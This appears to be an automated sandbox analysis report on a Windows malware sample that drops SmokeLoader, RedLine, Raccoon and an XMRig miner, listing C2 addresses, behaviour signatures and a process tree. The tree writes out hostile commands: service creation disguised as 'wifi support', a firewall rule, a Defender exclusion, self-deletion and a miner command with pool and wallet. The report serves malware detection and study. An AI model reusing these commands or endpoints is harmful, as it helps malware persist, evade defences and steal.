Analysis

  • max time kernel
    150s
  • max time network
    200s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    02/10/2021, 02:52

General

  • Target
    d6089eb2fed51a598931406cea4dff1e.exe
  • Size 265KB
  • Sample211002-dcq8csdfam
  • SHA256 6adc8d4b4b2bd38d13e1f41511154a396eee1ef8232e456000cc18936feb9d41
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://fiskahlilian16.top/

  • http://paishancho17.top/

  • http://ydiannetter18.top/

  • http://azarehanelle19.top/

  • http://quericeriant20.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • r

C2
  • 188.72.208.174:38430

Extracted

Family
  • raccoon

Botnet
  • �ru2AC�^�����wL,Q֎�B��Mc1/`�`�1K�:�y�

Attributes
  • url4cnc

    �cb{K^�WXP�۸��fB:O�٩ϥ6=q!�(�p�2�d��oqix����7�W��e�gV�� ����1 ���J2�탾ݭ�

rc4.plain
rc4.plain

Extracted

Family
  • raccoon

Botnet
  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • 114кk

C2
  • 193.56.146.60:18243

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Nirsoft 6 IoCs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 13 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 20 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Windows security modification 2 TTPs 8 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d6089eb2fed51a598931406cea4dff1e.exe
    "C:\Users\Admin\AppData\Local\Temp\d6089eb2fed51a598931406cea4dff1e.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:564
    • C:\Users\Admin\AppData\Local\Temp\d6089eb2fed51a598931406cea4dff1e.exe
      "C:\Users\Admin\AppData\Local\Temp\d6089eb2fed51a598931406cea4dff1e.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:980
  • C:\Users\Admin\AppData\Local\Temp\A4D6.exe
    C:\Users\Admin\AppData\Local\Temp\A4D6.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Users\Admin\AppData\Local\Temp\A4D6.exe
      C:\Users\Admin\AppData\Local\Temp\A4D6.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1740
  • C:\Users\Admin\AppData\Local\Temp\A5E0.exe
    C:\Users\Admin\AppData\Local\Temp\A5E0.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:816
    • C:\Users\Admin\AppData\Local\Temp\A5E0.exe
      C:\Users\Admin\AppData\Local\Temp\A5E0.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:108
  • C:\Users\Admin\AppData\Local\Temp\ACB4.exe
    C:\Users\Admin\AppData\Local\Temp\ACB4.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1436
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ztlamcno\
      2⤵
        PID:1548
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\amhelkky.exe" C:\Windows\SysWOW64\ztlamcno\
        2⤵
          PID:1260
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ztlamcno binPath= "C:\Windows\SysWOW64\ztlamcno\amhelkky.exe /d\"C:\Users\Admin\AppData\Local\Temp\ACB4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1464
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ztlamcno "wifi internet conection"
            2⤵
              PID:1316
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ztlamcno
              2⤵
                PID:1732
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1648
              • C:\Users\Admin\AppData\Local\Temp\AD90.exe
                C:\Users\Admin\AppData\Local\Temp\AD90.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Windows security modification
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious use of AdjustPrivilegeToken
                PID:1256
                • C:\Users\Admin\AppData\Local\Temp\7b6a5432-e671-4569-9694-b05b7adf528e\AdvancedRun.exe
                  "C:\Users\Admin\AppData\Local\Temp\7b6a5432-e671-4569-9694-b05b7adf528e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7b6a5432-e671-4569-9694-b05b7adf528e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1940
                  • C:\Users\Admin\AppData\Local\Temp\7b6a5432-e671-4569-9694-b05b7adf528e\AdvancedRun.exe
                    "C:\Users\Admin\AppData\Local\Temp\7b6a5432-e671-4569-9694-b05b7adf528e\AdvancedRun.exe" /SpecialRun 4101d8 1940
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1588
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\AD90.exe" -Force
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1732
                • C:\Users\Admin\AppData\Local\Temp\AD90.exe
                  "C:\Users\Admin\AppData\Local\Temp\AD90.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1956
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 1844
                  2⤵
                  • Loads dropped DLL
                  • Program crash
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1552
              • C:\Users\Admin\AppData\Local\Temp\B36A.exe
                C:\Users\Admin\AppData\Local\Temp\B36A.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1596
              • C:\Users\Admin\AppData\Local\Temp\B658.exe
                C:\Users\Admin\AppData\Local\Temp\B658.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:1048
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B658.exe"
                  2⤵
                    PID:2052
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:2084
                • C:\Users\Admin\AppData\Local\Temp\B83D.exe
                  C:\Users\Admin\AppData\Local\Temp\B83D.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1152
                • C:\Windows\SysWOW64\ztlamcno\amhelkky.exe
                  C:\Windows\SysWOW64\ztlamcno\amhelkky.exe /d"C:\Users\Admin\AppData\Local\Temp\ACB4.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:268
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:1896
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2388

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      memory/108-114-0x0000000000960000-0x0000000000961000-memory.dmp

                      memory/108-108-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/108-105-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/268-139-0x0000000000400000-0x0000000000871000-memory.dmp

                      memory/564-62-0x0000000000020000-0x0000000000029000-memory.dmp

                      memory/816-69-0x0000000000080000-0x0000000000081000-memory.dmp

                      memory/816-77-0x00000000047E0000-0x00000000047E1000-memory.dmp

                      memory/980-61-0x00000000757C1000-0x00000000757C3000-memory.dmp

                      memory/980-59-0x0000000000400000-0x0000000000409000-memory.dmp

                      memory/1048-122-0x0000000000400000-0x00000000008B0000-memory.dmp

                      memory/1048-115-0x0000000000920000-0x00000000009AE000-memory.dmp

                      memory/1152-121-0x0000000000220000-0x00000000002B0000-memory.dmp

                      memory/1152-123-0x0000000000400000-0x00000000008B1000-memory.dmp

                      memory/1200-63-0x0000000003A80000-0x0000000003A95000-memory.dmp

                      memory/1200-116-0x0000000004010000-0x0000000004025000-memory.dmp

                      memory/1256-87-0x0000000004C30000-0x0000000004C31000-memory.dmp

                      memory/1256-125-0x0000000004700000-0x0000000004779000-memory.dmp

                      memory/1256-83-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

                      memory/1436-90-0x0000000000020000-0x0000000000033000-memory.dmp

                      memory/1436-102-0x0000000000400000-0x0000000000871000-memory.dmp

                      memory/1552-167-0x0000000000270000-0x00000000002D0000-memory.dmp

                      memory/1596-109-0x0000000005010000-0x0000000005011000-memory.dmp

                      memory/1596-95-0x0000000000FD0000-0x0000000000FD1000-memory.dmp

                      memory/1732-165-0x0000000001210000-0x0000000001211000-memory.dmp

                      memory/1732-179-0x00000000060D0000-0x00000000060D1000-memory.dmp

                      memory/1732-156-0x00000000047F0000-0x00000000047F1000-memory.dmp

                      memory/1732-203-0x0000000006510000-0x0000000006511000-memory.dmp

                      memory/1732-202-0x0000000006500000-0x0000000006501000-memory.dmp

                      memory/1732-194-0x000000007EF30000-0x000000007EF31000-memory.dmp

                      memory/1732-187-0x00000000055D0000-0x00000000055D1000-memory.dmp

                      memory/1732-162-0x0000000000F10000-0x0000000000F11000-memory.dmp

                      memory/1732-164-0x0000000000F12000-0x0000000000F13000-memory.dmp

                      memory/1732-186-0x0000000006200000-0x0000000006201000-memory.dmp

                      memory/1732-155-0x0000000001080000-0x0000000001081000-memory.dmp

                      memory/1732-178-0x00000000056C0000-0x00000000056C1000-memory.dmp

                      memory/1732-168-0x0000000005240000-0x0000000005241000-memory.dmp

                      memory/1732-173-0x0000000005680000-0x0000000005681000-memory.dmp

                      memory/1896-127-0x00000000000C0000-0x00000000000D5000-memory.dmp

                      memory/1956-163-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

                      memory/1956-150-0x0000000000400000-0x0000000000422000-memory.dmp

                      memory/1956-153-0x0000000000400000-0x0000000000422000-memory.dmp